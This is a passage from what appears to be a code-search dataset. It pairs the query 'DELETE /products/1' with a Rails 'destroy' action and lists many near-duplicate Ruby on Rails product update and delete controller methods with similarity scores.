blank params of the object to prevent validations triggers of\n # attributes that we don't send to update\n if @product.save\n render json: @product.to_json\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end", "def update\n respond_to do |format|\n if @product.update!(product_params)\n format.html { redirect_to products_url, notice: 'Product was successfully updated.' }\n format.json { render json: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: t(:product_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product,\n :notice=> 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update_attributes(params[:product])\n respond_to do |format|\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end", "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product.update(product_params)\n set_products\n end", "def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n @product.edit\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to action: 'show', notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def update\n @product = Product.eager_loading.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully updated.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @angular = Product.find(params[:id])\n \n @angular.update_attributes(title: params[:products][:title], description: params[:products][:description])\n respond_to do |format|\n if @angular.valid?\n format.html { redirect_to store_index_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @angular.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n if @product\n if @product.update(price: params[:price])\n render 'api/products/show'\n else\n render json: [\"Can only update price\"], status: 422\n end\n else\n render json: [\"Product not found\"], status: 422\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('.message') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n respond_to do |format|\n if @product1.update(product1_params)\n format.html { redirect_to @product1, notice: \"Product1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Your product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_spec.update(product_spec_params)\n format.html { redirect_to @product_spec, notice: 'Product spec was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_spec }\n else\n format.html { render :edit }\n format.json { render json: @product_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7269931", "0.6935652", "0.68690825", "0.6846676", "0.68126076", "0.67678404", "0.6749974", "0.6741848", "0.67151767", "0.6700884", "0.6686023", "0.66597176", "0.6654553", "0.66536564", "0.664067", "0.664067", "0.66382414", "0.6631012", "0.6631012", "0.6627257", "0.6620688", "0.6603794", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6603763", "0.6602732", "0.65937763", "0.6593595", "0.6587338", "0.65602255", "0.6557081", "0.6557081", "0.6557081", "0.6557081", "0.6557081", "0.65562665", "0.6540051", "0.65274733", "0.6498262", "0.6490972", "0.6485979", "0.6477706", "0.6475468", "0.6473973", "0.6454957", "0.6453377", "0.6441549", "0.643574", "0.64351535", "0.642971", "0.64243215", "0.6420181", "0.6415268", "0.64094204", "0.64077", "0.6406827", "0.6405912", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632", "0.6403632" ]
0.0
-1
DELETE /products/1 DELETE /products/1.json
def destroy @product.destroy respond_to do |format| format.html { redirect_to products_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n product = Product.find(params[:id])\n product.destroy\n\n render json: { deleted: params[:id] }\n end", "def delete_product(name)\n delete(\"/apiproducts/#{name}\")\n end", "def destroy\n p @product.destroy!\n render json: { result: 'deleted' }, status: :ok\n end", "def destroy\n @product.destroy\n render json: {}\n end", "def destroy\n @product.destroy\n\n render json: @product, status: :ok#, location: @collection\n end", "def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end", "def destroy\n product = Product.find(params[:id])\n product.destroy\n render json: {id: product.id}\n end", "def destroy\n @product = Product.find(params[:id])\n @product.delete!\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end", "def destroy\n unread\n\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n begin\n @api_v1_product.destroy!\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content 